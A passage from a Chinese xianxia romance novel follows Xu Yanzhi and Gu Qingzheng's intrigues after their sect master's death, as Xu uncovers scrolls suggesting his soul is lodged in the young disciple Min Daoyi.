“什么味儿!” “似乎是雪林酒!哪位同门藏了好酒,为何不与大伙分享!” 一众醉醺醺的弟子们叫嚷起来,终于扰了灵舟中二 人的好兴致。 顾青峥从徐宴芝胸前抬起头来,呼吸还不稳,人沉浸在情欲之中,说话也跟着冲动起来。 “您知道的,拥有了我,一切都是您的。”他喃喃道。 说到最后,话语中竟带了一丝颤抖,不知是引诱还是恳求。 但这句情话仿佛一盆冷水,浇醒了沉醉的徐宴芝,她眼里朦胧的酒意淡了,慢慢浮上淬了毒的野望。 “青峥,我拥有了一切,自然也会拥有你。” 徐宴芝不愿让他看见,将头埋在他的胸前。越说,声音越低,说到最后,几不可闻。 她得想办法得到一切。 拥有过权力,便再也舍不得放开,俗人都如此,徐宴芝也不能免俗。 第35章 第三十五章冶艳柔弱 问仙宫的地下,还有大量的卷轴等着徐宴芝去翻阅。 灵舟在太阴峰上停稳后,她扶着顾青峥的胳膊下来站稳后,冲着他挥了挥手。 “今晚是属于你的时刻,回去吧,送到这里就好。”她揉了揉太阳穴,恹恹道。 顾青峥并不放手,皱眉道:“我应当送您进去。” 徐宴芝不耐烦地啧了一声,眼睛睁圆了瞪了他一眼。 分明是狠厉的一眼,却瞪得顾青峥勾起了嘴角,他温声道:“那您仔细着。” 手却仍旧没松开。 因此多挨了徐宴芝一掌,堪堪拍在他的胸膛上,倒也没用上几分力量,却总算让顾青峥放了手。 徐宴芝掉头,身上衣裙虽皱得要命,却走得摇曳生姿。 她慢慢往太阴殿里走去,顾青峥并不动弹,站在原地看着她。 一直看到她消失在自己视线中,他的嘴角才落了下来,脸也跟着沉了下来。徐宴芝在灵舟中说的那句话,顾青峥听清楚了。 他正站在风口,太阴峰上寒风嗖嗖,吹得他头上发带横在空中,搅在一处,呼呼作响。 真是好冷的天。 徐宴芝从不拖泥带水,消失在他视野中时,一次也没有回头,他恍然明了这些日子的耳鬓厮磨让他沉醉其中,让他忘了他们彼此的身份。 回头看去,都是他在一厢情愿的恨,又一厢情愿的—— 思及至此,他垂眸遮掩了瞳仁震颤,心头的暴风雪仅从紧咬的牙关中泄露了一丝端倪。 徐宴芝不愿将命运交在旁人手中,那顾青峥又何尝愿意。 这个女人早有过前科,她曾放弃过他一次,就会放弃他第二次,若是他当真一无所有,将性命与前程全交在她的手里,等待他的将会是什么? 前尘往事重返心头,顾青峥僵硬在原地,一动也不能动,他仿佛浸在了血泊中,口鼻又被地上厚厚的灰尘糊住了。 无法呼吸,眼前的一切花白而缓慢,耳边响起蜂鸣。 那时候,他好像想说些什么,只是到最后也没有说出口。 他想他会再次失去一切,他不相信徐宴芝走到今天,还会对没有利用价值的他有任何怜悯,即便或许她本性并非如此。 被她弃之若履,这样的事发生一次就够了。 顾青峥要将权柄牢牢握在手里,事到如今,除此之外,他还能有什么让徐宴芝有所图,他还能用什么让自己不被放弃。 她渴求的权势,若是在他的手中,总能让她将注意放在他身上吧。他只能想到这样做,因为他们是同类,他们都如此耽于自己的欲望。 所以才这般纠缠。 他已是丧家之犬,他不愿只能摇尾乞怜。 顾青峥慢慢转身,一贯笔挺的身子微微佝偻,步履也不稳,等到重回了灵舟上,不受控制阴沉下来的脸才重新光明起来。 徐宴芝说的对,这是他的时刻,他应当好好把握。 已经步入了问仙宫的徐宴芝并不知晓现下顾青峥的想法,她神情紧绷地来到了地下宫殿中,找到宇文令的书房,打算将里头的卷轴整理一下。 在这间书房待得越久,她便越是后怕。 宇文令此人心思深沉,野心勃勃,她想,在此界或许从未有人了解过他。 前几日里,仅仅关于幽冥的种种卷轴,便消耗了她许多的时间,看着宇文令留下的笔迹,不难看出他为了厘清关于幽冥的真相,费了多少心血。 一开始,他留下的笔迹仅仅在思考幽冥活物能否助他飞升大道,读到后来,徐宴芝从莫约千年前的卷轴中发觉了一行潦草的字迹—— “此界为何存有仙人无法触及之地,吾不能解,吾当踏平此处。” 这口气! 徐宴芝皱着眉,感到难以言喻的不适感。 他若是能飞升成真仙,他自然会将此界抛在脑后,若是不能,他便想找到办法,驱散笼罩无尽之崖的浊气,踏平这个世界之外的地方。 除了这些以外,徐宴芝还找到了许多记录了禁术的密卷。 又是禁术又是密卷,每找到一卷,都要费劲去解开,她的进度快不起来,这才决定将卷轴分门别类地整理好,先大概地了解宇文令最为关心哪些东西。 这样一同忙碌后,乱七八糟的书房也整洁了起来。 除却关于幽冥、大道的卷轴,最多的便是各式各样的禁术。 这些禁术徐宴芝已经费劲地解开了几卷,记载的都是一些威力巨大的上古仙法、上古阵法。 传闻上古时间,此界灵力远比现在浓郁,那么上古时期流传下来的禁术,威力远大过现下也是应当。 但宇文令钻研此道也无用,以如今天地间的灵力浓度,早已无法支持他释放禁术,因此徐宴芝一开始并未特别关注这些密卷,只是这般整理出来,方才觉得数量有些多。 这些密卷说不定是他长久以来的收藏,要想真正知道他究竟在琢磨何种仙法,还是要一卷一卷的打开来看。 徐宴芝烦闷地叹了口气,认命地低头解起密卷来。 这一解又解了一整晚,她此前操劳过了,加之伏案太久,旧伤又开始隐隐作痛。 徐宴芝只得停下松松筋骨,她站起来打量了一番剩下的密卷,仍然茫茫如海,并非几日内就能解完的。 如今弟子大比也比完了,小弟子们也要恢复太阴殿中的值日,她再频繁出入问仙宫,就有些过于显眼了。 权衡了一会儿,她决心分批次将密卷拿回无名小院。 将部分密卷装入锦囊内,徐宴芝小心地沿着夹道从问仙宫中往后走,一路上也不曾遇见有小弟子,想来是昨夜太醉,难以早起的缘故。 回了小院,徐宴芝先浸在白玉池中泡了一会儿,接着才躺回床上。 她的身体明明疲倦了,上了床却又失去了睡意。 外头天也亮了,她还是瞪大了眼看着天花板,莫名的兴奋着。徐宴芝仔细咂摸了一番,认为或许是因为弟子大比后的顾青峥那万众瞩目的模样格外耀眼的缘故,再回味了一会儿,又从中品出了一丝嫉妒、一丝酸。 明明从前,在山下时,他是海娜的奴隶。 一晃这么多年过去,海娜已经死了,绿奴却站在了北域之巅。徐宴芝幽幽叹着气,觉得颜面尽扫,打定主意今后绝不再忆起往事,当真要把过去埋葬。 主意已定,她的脑中乱七八糟地冒出各式各样的念头。 一时又想到了被禁锢在地下宫殿时的苦楚,一时又想起了在太阴峰上与顾青峥重逢时他的模样,一时又想起了这张床上曾发生过的旖旎情事——颠来倒去,无非也还是想起了顾青峥。 顾青峥顾青峥顾青峥。 他的脸出现后,将徐宴芝脑子其余的念头统统打了出去。 他的脸,他的脖颈,他的臂弯,他的胸膛,他坚硬的—— 再往下想,事情就不能言说了。 床上的女人感到一阵发紧,小腹跟着热了起来。她慢慢转身,将被子抱在怀里。 梦幻之中,她又记起了一件事,似乎在哪儿听说过,女人年岁越大,欲求便越大。 从前徐宴芝对此不屑一顾,她那时认为男女之间那事,做时痛快,不做也就那样,最好不要去想。若是想了,就落了下乘,被支配了似的。 如今徐宴芝忽然不这样觉得了。 她就是 这样欲念深沉的女人,渴望权力,渴望过得更好,渴望酣畅淋漓的情事,渴望控制一切。 她的一举一动、她的一生都在被自己的欲望支配,她是欲望的奴隶,却也是欲望的主人。 镜子倒映的只是是她的皮肉,徐宴芝伸手向下,慢慢探索着自己,在最快活的那一刻,她神魂飞了出来,俯视着她的躯体。 她好像终于看透了这幅冶艳柔弱的皮肉下藏着的铁骨。 那是抛却了徐宴芝、海娜的,真的她。 徐宴芝喘着气,不自禁地绷紧了下巴,她的眼里浮上一层薄雾,额上沁出了细密的汗珠。 太阳升了起来。 阳光把窗上的花,印在了床上的人上。 今日是难得好天气,冰雪季铺天盖地的雪停了一天,北域人奢侈地拥有了万里无云的蓝天,和洒满了七峰的日光。 等到宿醉的小弟子们终于起床,太阴峰上传来了各式各样的鬼叫声—— 宇文令还在时,他们当然不敢这样,可掌门不是死了吗?太阴峰失去了明面上主人,小弟子们也不知不觉地放肆了起来。 醉得过了头的闵道一,甚至是被弟子舍外头嘻嘻哈哈打闹的小弟子们吵醒的。 他昨夜几乎将摇光峰上所有的酒都喝净了,哪怕是筑基境的仙人,也经不起这样酗酒,喝到最后,闵道一彻底失去了意识。 他坐在床上,只觉得太阳穴针扎一般的疼。 什么时候倒下的,什么时候离开的,什么时候回到弟子舍的,闵道一什么也记不起来。 哀嚎了一声,他捂着脑袋,慢慢地扶着墙,从床上爬了起来。 这次大比,闵道一不仅在阵法上拿了不合格,甚至最重要的仙法一项,都堪堪排在了内门弟子的最后一名。 这一切竟然发生在被师兄精心调教了许久之后。 莫说醉死过去,当时就算真叫他去死,他也并非做不出来。 闵道一慢慢顺着墙壁滑坐下来,他小鹿一般的圆眼睛无神地瞪着,两行眼泪溢出了眼眶,滴落在地上。 “我为什么不死在山下呢,若是当时死在山下,死在旧城旁,就好了。” 眼泪滴滴答答地砸在地上,在他脚下聚成了一洼泪池,除了流泪,他不知道自己究竟还能做些什么。 刚刚拜入顾青峥门下时,闵道一还抱着天真的幻想。 他本就是凡人皇室出身,出生时天有异象,被皇室视为祥瑞,自小耳中听得都是溢美之词,待到展现出了对灵力的天赋,连他的父王都不自觉地对当时年幼的他恭敬了起来。 后来他便被父王亲自送到了七峰之下,成为了北域七峰的一名弟子,与同时被选中的小弟子们一块儿被送上了山。 上了山后,闵道一惊觉他的天赋在众弟子之中竟然不算顶尖,加之娇生惯养,修行时总要偷懒,修为进度也赶不上同期门人。 那时他曾听内门弟子说,像他这般的弟子,很难去到内门,闵道一当时有些心灰意冷。 只是,在他正打算认命在七峰上做一个普通的外门弟子时,事情却又出现了转机。 宇文令亲自点名,要将他收为亲传弟子,带在身边教导。 闵道一欣喜若狂,虽然他此前从未见过掌门,但或许掌门通过旁的途径知晓了他,知道了他自己也不清楚的天赋。 他连行李都没有收拾,赤手空拳地来到了太阴峰上。 可他的幻想再次落空了。 宇文令将他收为亲传弟子后,只见了他一面,勉励了几句,随后便将他交给了大徒儿顾青峥,嘱咐顾青峥负责他的功课。 但顾青峥还要替宇文令解决山下一摊事情,很难得回太阴一趟,闵道一不能干等着师兄回来后再学仙法,最终,他还是只能在摇光峰上跟着同门一块儿上大课。 他并没有什么自己也不清楚的天赋,他的修为也停滞在了筑基境。 这样的事也常见,本来闵道一认为自己或许惆怅个几年,也就释然了。 两个月前,宇文令因双月当空,酿成的灾祸被迫下山,下山除鬼时,他带了得用的顾青峥,并没有带上闵道一。 后来他失踪了,即便并未相处过几回,但到底一日为师终身为父,闵道一主动提出了跟着师兄一块儿下山去寻师父。 只是下山将将半个月,他与师兄分头找寻线索时,却遇险了。大白天,正午时分,他在明明已经被众多仙人来来回回肃清过许多次的旧城附近遭遇了业鬼袭击。 那只鬼冲着他过来时,闵道一几乎以为自己的死期就是那一天了。 可他活了下来,并且除了脑子不时地刺痛,他的身子竟然完好无损。 “还不如当时便死了。”闵道一回忆起当时的场景,痛苦地泣不成声,他忍不住地抓挠着自己的头发,将头往墙上一下一下地撞,“我这样的废物,活着这般丢人现眼,如今整个北域都知道了,我真是不明白。” “师父当时为何要收我为徒啊——” 第36章 第三十六章头疼欲裂 七峰之上,谁人都能宿醉,偏偏顾青峥不行。 他是天蒙蒙亮才带着师弟从摇光峰上回来的,刚回弟子舍不一会儿,将将换下站满了酒气的衣裳,弟子令便闪烁了起来。 顾青峥迟疑了一会儿,不着急去穿衣,先拿起弟子令读了起来。 “询天阁任重阳有事相询。” 顾青峥有些意外,任重阳自从担任了询天阁的长老,便只观天,不观人,他一向也不管山上庶务,为何会突然找上自己。 越想他的眉头越皱,顾青峥缓慢地穿上了干净衣裳,若有所思地系着腰带。 思来想去,虽然想不到原因,但既然长老有事找他,作为弟子的顾青峥自然不能辞,他叹了口气,拍了拍长袍下摆,匆匆推开了大门—— 门一开,隔壁小院里压抑哭声便传进了他的耳中。 顾青峥脚步一顿,无声地长叹了一口气。 师弟的心事,做师兄的自然清楚,只是要顾青峥看来,闵道一的天赋分明十分平庸,能当个内门弟子,仙途已经算是到头了,即便是因为凡人皇室的缘故,他也不能理解宇文令将他收为亲传弟子的行径。 宇文令是北域最强仙人,怎会将凡人皇室看在眼中?收徒一事一定另有隐情。 但他死的太快,顾青峥从前与师弟相处的时间也太短,暂且还未找到原因。 闵道一哭得伤心,顾青峥心知此时打搅,恐怕会让他更难堪,只得叹息着离开了太阴,乘灵舟去往询天阁。 灵舟刚停稳在天璇峰上,就有小弟子恭敬地守在一旁,见了他便行礼,口称师兄,转身引着他往询天阁去了。 顾青峥跟在小弟子身后,两人走得很慢。 天璇峰是七峰之中最高的一座,除却圣山太阴,只有它离天最近,因此观天象、询天意的询天阁才会坐落在此。 山顶上很安静,今日又没有下雪,除了顾青峥与小弟子的脚步声,四周静得可怕,放眼望去,也再没有什么活物出现。 似乎只有这般静谧,才能聆听到上天的旨意。 二人走了一段距离,绕过一处花园,一座高耸的塔出现在顾青峥眼中。 小弟子引着他走到塔下,朝他微微颔首道:“任长老在阁中等着师兄。” 顾青峥向他回礼,踏上了通往询天阁的九百九十九层长阶。 走到长阶尽头,见任重阳含笑负手,正看着他。 “青峥,辛苦你来这一趟。”任重阳的视线随着他转到了身前,“想来大比刚结束,你应当有空。” “宗门体谅,容弟子歇上一些时间。”顾青峥答道。 任重阳笑意更深,朝着询天阁内做了个请的手势,与顾青峥并肩步入了阁中。 询天阁是一座高九十九层的高塔,越往上,每一层便越窄,任重阳领着顾青峥上到第十层,让他与自己相对而坐,又示意一位无声无息出现在此的小弟子为他们上了仙茶。 茶上热气蜿蜒向上,拦住了两人相对的视线。 成为掌门首徒那日起,顾青峥便认为自己应当与七峰长老们保持一定的距离,此前他很少与任重阳交谈,如今这般独处清谈,难免有些尴尬,一时间都不知该说什么。 沉默了一会儿后,顾青峥听到任重阳轻声道:“青峥,你相信天命吗?” 顾青峥微微挑了挑眉,礼貌地笑道:“ 我不信。” “你不信,你师父也不信。” 询天阁建立的原因便是因为想要窥探上天的隐秘,历任阁主们多少有些神神叨叨,被顾青峥这样直截了当地否定,任重阳却乐呵呵的,没有半点生气的意思,只是说出来的话隐隐有锋芒。 “但我看,你们实在十分相似。” “您是说——” “啊,我并不是说你会跟你师父一样,下山除鬼,便再也回不来了。”任重阳连忙摆手解释,“只是,很久以前我观天后得了一句谶言,心中忐忑,思虑再三,还是告知了你师父,本以为他会谨慎提防,没想到他却高兴得很。” “我也听过这个传闻。” 顾青峥放下茶盏,静静地看着任重阳的眼睛。 宇文令得了询天阁一句谶言,为此下了山,虽然没有收获,却在回来路上,鬼使神差地去了一趟山下大观,正巧那时大观正在选弟子,他就在那,遇见了徐宴芝。 “您当时得了什么谶言?” “唉,人已经不在,此时说来,也无妨了。我当时对他说——成也幽冥,败也幽冥。” 顾青峥放在圈椅扶手上的食指轻轻一跳,面色却半点未变,摇头道:“想来那时我还不能为师父分忧,这个说法,还是第一次听到。” “唔,谁不是呢,其实我也不明白这句谶言究竟是什么意识,只是对宇文掌门说了后,他似乎顿悟了什么,当下便大笑起来。” “您是说,师父他不曾提防。” “这个,我便不清楚了,或许有提防,或许没有呢?” 这番话说完,阁中又安静了下来。 只有仙茶在灵石茶盏中,仍旧飘散着雾气。 “师父的事,我知道了,您这回唤我来,可还有——” “昨夜你们都醉了,我却睡不着,索性上了塔顶去观天,只是看来看去,天象却十分熟悉,似乎又要让我得一句谶言。我想了一会儿,忽然记起了与宇文掌门说的那一句,当时便是一模一样的天象啊。 青峥,你猜,这回的天命,昭示了谁的未来?” 任重阳说罢,老神常在地端起茶盏喝了一口。 他说得玄之又玄,顾青峥既想在心底冷笑,又想干脆认输,承认世间或许真有命数存在,他与宇文令一样,将要被幽冥来的活鬼吞噬了。 可究竟什么是成,什么是败。 上天可曾真的知晓,对顾青峥而言,什么是成败。 他心中纷乱极了,万千情绪交织在一块儿,教他轻咬了舌尖,才堪堪掩饰住失态。 “多谢任长老提点了。” 顾青峥站起身来,朝着任重阳欠身道。 “不说谢,往后关于天命之事,我们可以多交流。” 任朝阳跟着站起身来,送顾青峥出塔。 任重阳这最后一句话,似乎颇有深意。 北域七峰历代询天阁阁主,都只需对掌门负责,更甚者,他们观天得来的灵力波动、天命谶言,除非掌门特令,否则并不外传。 宇文令从前得来的那句谶言也是如此,除却他与任重阳,七峰上下没有第三个人知晓。 顾青峥心中明镜似的。 昨日弟子大比他大胜了张幼琳,七峰长老们虽然没有明着站队,可精明如任重阳者,提前向下一任掌门示好,只要事情做得隐蔽,倒也寻常。 昨夜,他恐怕还看到了一些别的。 与任重阳道别后,顾青峥坐在回太阴的灵舟上,琢磨着方才他们的对话。 关于宇文令的谶言,分明是一句警告,即使当时他不曾放在心上,但时隔不久后他从山下将来自幽冥的徐宴芝掳上了山,他看着徐宴芝,与她日日相对,那个时候,他仍然如此自大吗? 顾青峥并不觉得。 他的师父虽然桀骜恣睢,可他并非狂妄自大、毫无戒心之人。 一定有什么东西,是他忽略掉的,宇文令的后手。 想到这儿,一阵凉意爬上了他的背脊,顾青峥不自禁地冒出一个念头——他们究竟是何时确认宇文令死亡的。 一盏昏暗的、火苗微弱的显魂灯,慢慢浮现在他的脑海中,又慢慢地熄灭了。 为什么是那一天。 在他眼睁睁地看着宇文令消失在旧城中的一个月后那一天。 回答他的,只有灵舟外呼啸而过的风雪。 无名小院中,徐宴芝在睡梦中被叩门声吵醒,睁开眼时,恍惚不知今夕是何年。 她静静躺了一会儿,方才听到门外有人求见。 “师娘——” 很轻的呼唤声响起,徐宴芝眨了眨眼,意识到门外是闵道一。 现下是什么时候了。 徐宴芝从床上起身,抬眼看了窗外,发觉太阳已经要往下坠了。 她难得睡到下午,闵道一也难得这个时候过来找她。 或许是有急事。 收拾整齐后,徐宴芝走出了卧室,给小徒儿开门。 “你这是怎么了?” 推开门后,徐宴芝一怔,看着抽泣着、眼睛红肿的闵道一,皱眉担忧道。 “师娘,您知道师父当年为何要收我为徒吗?” 闵道一睁大了眼看着她,低声道。 他此时脸色极差,想来回去后便没有换衣裳,还有一身浓重的酒气。 见他这般模样,徐宴芝并未立即回答,而是将他迎进了院中,领着他坐在院中亭子里。 “这是怎么了,为何突然来寻我,问这样的问题?” 徐宴芝笑着摸了摸闵道一的头,柔声道。 “我不明白,为何明明我其实没有天赋,最多只能做个寻常内门弟子,师父却还是要将我收为亲传弟子……” 说到这,闵道一更是沮丧万分,这回顾青峥不在,他不怕再有人抓着他的衣襟将他提起,干脆半跪在地,如年少时一般伏在徐宴芝的膝上痛哭起来。 他不受师父宠爱,天赋又寻常,在摇光峰上常被看不惯他的同门使绊子,这般伏在徐宴芝膝头大哭也是常事。 只是到底是从前的事了,闵道一长大后便不再如此。 徐宴芝知道了,他因弟子大比的结果受了极大挫折,心中叹气,哄劝道:“你师父总有道理,只是他走得早,也没有留下只言片语,我们也不知道,但你莫灰心,不要管旁人怎么说。” 一边说着,一边伸手拍拍他的背,哄小孩儿似的。 她的话音刚落,闵道一的肩膀便不再起伏,像是停止了哭泣。徐宴芝松了一口气,正想再劝几句,不防耳中听到了一句幽幽的询问—— “师娘,师父就这样轻易地死了,从头到尾,您就没有起疑心吗?” 徐宴芝缓缓低头,看向膝上的闵道一。 他正抬头看她,红肿着一双眼睛,神情却凛然,变了一个人似得。 “我当然疑心,他是此界最强仙人,下了山便再也没回来,种种都叫人不解。”多亏了这数十年不断地掩饰,毛骨悚然的徐宴芝半点没叫心底的情绪泄露,反倒恰到好处地露出了怅然的愁绪,“可是你也晓得,我修为不过筑基,又从未下山过,如今也不过仗着从前你师父给我留下的掌门密令活在北域,仙人们都薄情,有些事,我也无能为力。” 说到此处,似乎戳到了徐宴芝的痛处,她的肩膀垂下,看上去落寞极了。 “原来如此——” 闵道一拖长了尾音,一字一句说道。 说罢,他垂眸看着地,想要再说什么,出口又变做了啜泣:“师娘,我的头好疼,自从上回受了伤以后,便总是时不时痛起来,我是不是不适合修——” “你记得方才说了什么吗?” 徐宴芝打断了他。 “记得啊。”闵道一茫然地抬头看她,“头痛得厉害时,也还是记得方才做了什么,就是有时候有些糊涂,不知为何这样做,若是说了不好听的话,您别恼我,我病了。” “唉。”徐宴芝叹了口气,慈爱地替闵道一抿了抿鬓边碎发,“还是要多方寻医问药,若是北域治不好,也可写信问问揽云那边。” 两人交谈几句,小院门口忽然又传来声音—— “竟然哭着过来寻师娘了吗?” 手中端着一碗冒着热气的炊玉饮,顾青峥倚在门边看着院中二人轻笑道。 “师兄。”闵道一赧然地擦了一把脸,赶紧从地上站了起来,“倒也没您说的那么夸张。” 顾青峥走进院中,将手中炊玉饮交到徐宴芝手中道:“玉衡峰炮制了一批新药,为您取了一些回来。” 徐宴芝伸手去接,两人指尖相触,彼此交换了一个眼神。 “青峥有心了。”她一口将炊玉饮喝尽,赞道。 “应该的。” 顾青峥说着,伸手拍了拍师弟的肩膀,挑眉道:“可是哭完了?一块儿回去吧。” 闵道一哪敢说不,唯唯诺诺地跟着师兄往外走去。 他们走到无名小院门口,顾青峥又回头看了徐宴芝一眼,随后便将院门带上,领着闵道一往殿前走去。 路上,顾青峥看着前方,装若无意地问道:“你头痛可是又犯了?” “嗯。”闵道一点头。 “上一回伤得太重了些,我将你送回来后,竟然还昏迷了十五日。” “是啊,醒来本就难受,还听得玉衡峰的同门说师父刚刚没了,当时就头疼得满地打滚了。” “唉——”顾青峥同情地用力摸了一把师弟的脑袋,“还是得想办法将你这病治好。” “师兄!我本来就头疼!” 第37章 第三十七章解开此局 顾青峥将师弟从徐宴芝处领了回来,并没有放他一个人回弟子舍待着,而是带着他回了自己的院子。 “你在院中等着。” 顾青峥抛下这句话,便将闵道一留在院中,自己进屋翻找着什么。 闵道一头有些痛,听了师兄的话捂着头乖乖站在原地,等了一会儿后仍不见他出来,迷茫喊道:“师兄,找什么呢?” 话音未落,顾青峥提着一柄长剑从屋里走了出来,笑道:“等这么一会儿也等不及吗?” 这时闵道一的眼睛已经黏在了长剑上,师兄打趣也全然不觉。 “这柄剑!”他迎了上去,惊喜地露出了一个笑来,“这是之前说要给我的那柄吗?” 说到这,不等顾青峥回答,他的神情又低落了起来,垂头丧气道:“可是我这回实在太丢人了,师娘奖励我,我都不好意思要。” “没有一输到底,还是内门弟子,便不算十分的不好意思。” 顾青峥安抚地说了几句,伸手将剑塞进了闵道一的手中,又补充道:“师娘取的剑,我瞧过了,是上回西域所增,他们与北域铸剑的路子不同,只需极少的灵力便可驱使。” 这是一句试探。 他隐去了徐宴芝取剑时,他也在场,正是他为闵道一选了这柄西域赠剑。 闵道一面上表情半点不变,好似没有听懂顾青峥说的话,他犹犹豫豫地接过了剑,拿在手中不住打量。 看了一会儿,可能因为真心喜欢,还是忍不住露出了一丝欣喜。 “师娘竟然懂剑,竟然选了这样适合我的一柄剑。” 闵道一轻声细语地说着,他低着头,让人看不清他的表情。 是再寻常不过的一句话,可就在这电光石火间,顾青峥忽然明白了地下宫殿、长剑、还有他与徐宴芝之间的关系。 以及某人为何要以此入手来试探。 徐宴芝不懂剑,但她手握着宇文令私产的秘钥。 顾青峥懂剑,可他并不知道宇文令从前收藏的许多珍品究竟藏在何处。 若是要取一柄最适合闵道一的剑,只凭徐宴芝,似乎无法做到,非得需要有懂剑之人在身旁,才能从数之不尽的珍品中找到合适的那一柄。 如果徐宴芝并未提防这个试探,那以剑为本命法宝的顾青峥就是最合适为师弟参详的人选。 并且,只有在她与顾青峥之间的关系足够‘亲密’的情况下,她才会带着他去往问仙宫的地下——那里是北域最隐秘的地方,拥有最多的天材地宝,也曾是徐宴芝藏在心底的噩梦之地。 她会一个人去,还是会让谁陪着她,走进那座充满了她的血泪的地下宫殿。 她会让谁看到她的不堪的过往。 那个人,会是她的同盟,是她的共犯,是她亡夫的徒弟吗。 顾青峥看着闵道一,闵道一看着剑。 他明明垂着头,额间胡乱飘散着几缕发丝,与从前那个有些迷糊、有些惫懒的小师弟一模一样。 但顾青峥却透过了他,看到了另一个人的影子。 “你这小子,师娘可不懂剑。”顾青峥摇了摇头,无奈地笑了起来,“她拿出了六七柄出来让我挑,你没瞧见,当时可吓了我一跳,那些可都是极品。 我是没想到师父这些年竟然藏了这样多的好剑,教我也有些心动,现下想想,都后悔起来。” “后悔什么。” 闵道一抬起了头,圆眼睛里都是好奇,半点没有方才低头说话时让顾青峥不适的怪异感了。 “后悔我既然拿了头名,为何不趁机也挑一柄好剑。” 顾青峥一脸遗憾,仿佛仍然在回味当时的场景。 “师兄若是成了掌门,那些剑——” “也仍旧是师娘的,师娘不下山,师父的私产便还是留在北域,谁也没有理由,也不能越过她夺了去。”顾青峥皱了皱眉,打断了闵道一的话,“怎么越大,讲话便越不仔细了。” “是我说错话了。”闵道一连忙低头认错。 “得了剑,你想做些什么?” “我想下山游历,师兄同我一块儿去吗?” 闵道一眼睛亮晶晶的,期待地看着顾青峥。 顾青峥轻笑一声,也没说愿意,也没说同意,只反问道:“你想去哪儿游历呢?” “没想好。” 握着手中这柄属于自己的好剑,似乎总算驱散了闵道一心中的阴霾,他已然忘了方才哭得多惨,笑嘻嘻地答道。 “那便等你想好了再说。” 师弟笑,顾青峥也笑,不大的弟子舍里,兄友弟恭,一派和谐。 顾青峥与闵道一谈话完,又带着他去演武场试了许久的剑,教了炼制本命法宝的仙法,哄得小师弟将大比的失败抛在脑后,笑得见牙不见眼。 二人一通忙碌,到了夜晚才回了殿前的弟子舍。 此时太阴殿前灯也熄了,整个宫殿都暗了下来,唯有无名小院里仍旧有一盏明亮的仙灯亮着。 徐宴芝正坐在灯下,仔细翻看着手中的密卷。 莫约半炷香后,她大致明白了这卷密卷记录了什么——是巨大的,能利用北域的冰雪之灵吞噬掉整个凡人国度的法阵。 听上去十分危险,但这样强大的法阵,自然也需要极其庞大的灵力储备才行,以如今天地之间的灵力含量,不论是谁布阵,就算勉强花费巨量天材地宝将阵布下了,也启用不了,可视为一卷寻常古籍。 她放下手中密卷,轻轻揉了揉发胀的眼睛。 这一日到现在为止,徐宴芝看过的密卷在她的左手旁堆成了小山,里头一丝有用的信息都没有找到。 解了这样多的密卷,让她的灵力消耗很大,背脊上的旧伤一言不合便要隐隐作痛,催着徐宴芝立即停下手中的活计,好生去休息,大有若是继续下去,立即发作给她看,让她痛得无法直立的意思。 可她无论如何也不能休息! 若是不能尽快发觉这些密卷中藏着的隐秘,恐怕徐宴芝从前伏低做小数十年才换来的好日子便要尽数还回去了。 屋里铺着暖玉,与春日一般的温度,让她分明只用穿着单薄的衣裳,却因为想到这可怖的后果,禁不住打了个寒颤。 快些,再快些。 她明明只差一点了! 徐宴芝指尖颤抖着拿起下一卷密卷,闭着眼深吸一口气,强行将刻在骨头里兀自生出来的恐惧按下去。 手中这一卷也无所获,那就再看下一卷,再下一卷—— 直到天边微微发白,徐宴芝低头看着手中最新一卷密卷,忽然怔住了。 她身子莫名地开始发抖,牙齿也跟着咔咔作响,视线遽然间好像飘 忽起来,无法聚集在字上,只得用手指点在古旧的卷轴上,一字一句地慢慢读了过去—— 神魂寄生,绝处逢生。 是了!是了! 这些日子闵道一身上的种种古怪,皆有了解释! 有丧心病狂的大能,将神魂寄生在他脑中,害他日夜疼痛不休! “绝处逢生,绝处逢生——”徐宴芝嘴里轻声念着这四个字,眼中闪过一丝疯狂,虽然身子仍旧止不住地颤抖着,却紧紧地咬住了牙关,“谁的绝处逢生,尚且还说不准呢。” 她是决然不会现下就认输的。 徐宴芝用力咬了一口舌尖,血腥味与疼痛瞬间让她回过了神来,暂且平静了片刻。 她将卷轴放在一旁,沉下心,继续翻看剩下的卷轴。 后头便顺利了许多,她又从密卷中找到了一些古时大能用来保命的强大禁术,看上去像是宇文令会去悉心研读的。 将这些密卷放在一块儿,一起从头到尾的读了一遍,徐宴芝闭上了眼,仔细思考着,宇文令究竟用这些禁术做了哪些布置。 他找到了出生时天有异象,体质特殊的闵道一,让凡人皇室将他送上七峰修行,又收他做亲传弟子,收拢在身旁。 闵道一天赋普通,但宇文令不在乎。 他只需要在他体内种下一缕神魂,然后将这个无用的小徒儿留在太阴峰上,等到某次遭受到危及性命的重创时,用保命禁术强行封存**,再启用远在太阴峰上的这缕神魂,控制闵道一,联系宗门,解救他被强行封存的**—— 他是极自傲的人,即便是最后的自保禁术,所作所为,也不过是要将原本的身躯取回来,他是决计看不上旁人躯体的。 而如今宇文令暂且隐忍不发,可能是因为这个古老的禁术不如他想象中完美,他只有一缕神魂,对闵道一的控制程度很低,无法全然的占领小徒儿的躯体,白日里徐宴芝便看出来了。 另外,恐怕他也觉得自己死的蹊跷,不愿这般急急忙忙地昭告天下他还活着,宇文令已经死亡,凶手才会放下警惕,他也才能在暗中找寻自己‘死亡’的真相—— 他的确差一点就要成功了! 徐宴芝后怕地出了一身的冷汗。 她思来想去,越发觉得这恐怕是宇文令对幽冥产生了浓厚兴趣之后才定下的计划。 毕竟,无尽之崖下浊气翻涌,越是修为高的仙人,越是受不了浓重的浊气,所以他才选定了可怜弱小的闵道一。 可惜了,这个孩子的未来,也不知会如何。 她被困在太阴峰上的这数十年里,闵道一的确曾经给她带来过些许慰藉。 已过了日出的时分,可外头仍旧只有蒙蒙亮,徐宴芝此时又惊又怒又怕,为了舒缓心情,索性站起身来推开了窗,看向被结界笼罩的天空。 天上正飞舞着大片大片的雪花,遮天蔽日,教太阴峰上白日如夜。 昨日短暂的晴天什么也没留下,毕竟在北域,冰雪季,大雪纷飞才是常态。 徐宴芝袖手看了一会儿天,慢慢地冒出了一个念头来。 这不是该她独自承担的后果,她要找到她的共犯,与他一块儿解这个局。 第38章 第三十八章放松一些 顾青峥趺坐在房中,让体内的灵力按照既定的路线径流过四体百骸,一次,两次,灵力先是在体内转动,而后引起太阴峰上细微的力量共振,慢慢的,天地之间细如水滴的灵力一点一点被他纳入了体内。 这个过程并不轻松,非得要全神贯注,从神魂到肉身一块儿发力才行。 